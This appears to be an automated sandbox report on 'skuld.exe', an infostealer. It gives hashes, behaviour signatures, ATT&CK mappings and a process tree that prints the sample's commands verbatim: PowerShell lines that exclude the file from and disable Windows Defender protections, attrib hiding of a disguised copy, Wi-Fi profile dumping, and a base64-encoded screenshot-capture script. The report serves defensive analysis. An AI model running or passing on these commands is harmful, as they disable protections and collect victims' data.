Analysis

  • max time kernel
    150s
  • max time network
    97s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-05-2024 14:53

General

  • Target

    skuld.exe

  • Size

    9.5MB

  • MD5

    890edd42dd5c1b147de66f9ee7dddc27

  • SHA1

    931bc48e9547e896de5e9e8b9549c396a2e11aba

  • SHA256

    1ac839f45a2ddad20559c6fe53df1135aa1368f0b46a6efff1b257922f000d28

  • SHA512

    90af8949001c772e80692b79a2cb11ea54f56bf03a031473c9716785edd2053e6fb0ed3a096ff88476d353a0935e136edb44a516509730c88c00b0a4e8dbce49

  • SSDEEP

    98304:25HOIhoB0mnl0l7t4qheyrVX53+9pENvGF8YfD:Gn80Q2beyrVp+9qNsD

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 11 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:2924
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:1372
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4200
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:724
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:3108
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4252
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:2372
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
            PID:456
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            2⤵
            • Detects videocard installed
            PID:3912
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            2⤵
              PID:2984
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:2704
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              2⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:4288
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              2⤵
                PID:2000
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                2⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious use of WriteProcessMemory
                PID:2016
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jk4r2sre\jk4r2sre.cmdline"
                  3⤵
                    PID:4944
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES85AB.tmp" "c:\Users\Admin\AppData\Local\Temp\jk4r2sre\CSC492D51E5E83C4D98A6D999141F345CB8.TMP"
                      4⤵
                        PID:4660

                Network

                MITRE ATT&CK Matrix ATT&CK v13

                Execution

                Command and Scripting Interpreter

                1
                T1059

                PowerShell

                1
                T1059.001

                Persistence

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Privilege Escalation

                Boot or Logon Autostart Execution

                1
                T1547

                Registry Run Keys / Startup Folder

                1
                T1547.001

                Defense Evasion

                Modify Registry

                2
                T1112

                Subvert Trust Controls

                1
                T1553

                Install Root Certificate

                1
                T1553.004

                Hide Artifacts

                1
                T1564

                Hidden Files and Directories

                1
                T1564.001

                Credential Access

                Unsecured Credentials

                3
                T1552

                Credentials In Files

                3
                T1552.001

                Discovery

                Query Registry

                1
                T1012

                Peripheral Device Discovery

                1
                T1120

                System Information Discovery

                2
                T1082

                Collection

                Data from Local System

                3
                T1005

                Replay Monitor

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                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  Filesize

                  2KB

                  MD5

                  d85ba6ff808d9e5444a4b369f5bc2730

                  SHA1

                  31aa9d96590fff6981b315e0b391b575e4c0804a

                  SHA256

                  84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

                  SHA512

                  8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  944B

                  MD5

                  d28a889fd956d5cb3accfbaf1143eb6f

                  SHA1

                  157ba54b365341f8ff06707d996b3635da8446f7

                  SHA256

                  21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

                  SHA512

                  0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  Filesize

                  944B

                  MD5

                  a2c8179aaa149c0b9791b73ce44c04d1

                  SHA1

                  703361b0d43ec7f669304e7c0ffbbfdeb1e484ff

                  SHA256

                  c1d30342a40a2b6e7553da30ceb85754d33820f6fbb3bbbed1ceb30d6390de4a

                  SHA512

                  2e201dd457d055baad86f68c15bcc7beb48d6dc2ffc10db7f304eb93f697e7b45991cbde857d25da2c9c60c23f3e13df8b5ed5809c1753737a23096e296cc9e3

                • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3cc5pto0.k4i.ps1
                  Filesize

                  60B

                  MD5

                  d17fe0a3f47be24a6453e9ef58c94641

                  SHA1

                  6ab83620379fc69f80c0242105ddffd7d98d5d9d

                  SHA256

                  96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                  SHA512

                  5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                • C:\Users\Admin\AppData\Local\Temp\jm1RuA76P7\Display (1).png
                  Filesize

                  420KB

                  MD5

                  903cd6f5b13cb31a73ea9a8b56c4dd77

                  SHA1

                  71d8a79b2e454af2c0670cca785bc703f4f7e821

                  SHA256

                  f0eaa380f72c35d5fa7f2f8d12c79bd32b58673da7a69bab10247c45f8cf0c74

                  SHA512

                  56e8e1b7928de7269eda7c6801f628d370ccf06149e25bd43010a7a04bae83a39a5defb9d15468dce17cc612ed5fd3f26e85f2b5cdf42a4b2c2ba177aed84a62

                • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
                  Filesize

                  9.5MB

                  MD5

                  890edd42dd5c1b147de66f9ee7dddc27

                  SHA1

                  931bc48e9547e896de5e9e8b9549c396a2e11aba

                  SHA256

                  1ac839f45a2ddad20559c6fe53df1135aa1368f0b46a6efff1b257922f000d28

                  SHA512

                  90af8949001c772e80692b79a2cb11ea54f56bf03a031473c9716785edd2053e6fb0ed3a096ff88476d353a0935e136edb44a516509730c88c00b0a4e8dbce49

                • C:\Windows\System32\drivers\etc\hosts
                  Filesize

                  2KB

                  MD5

                  6e2386469072b80f18d5722d07afdc0b

                  SHA1

                  032d13e364833d7276fcab8a5b2759e79182880f

                  SHA256

                  ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

                  SHA512

                  e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

                • memory/2016-54-0x000002A3C4010000-0x000002A3C4018000-memory.dmp
                  Filesize

                  32KB

                • memory/4252-12-0x000001F4FEC10000-0x000001F4FEC32000-memory.dmp
                  Filesize

                  136KB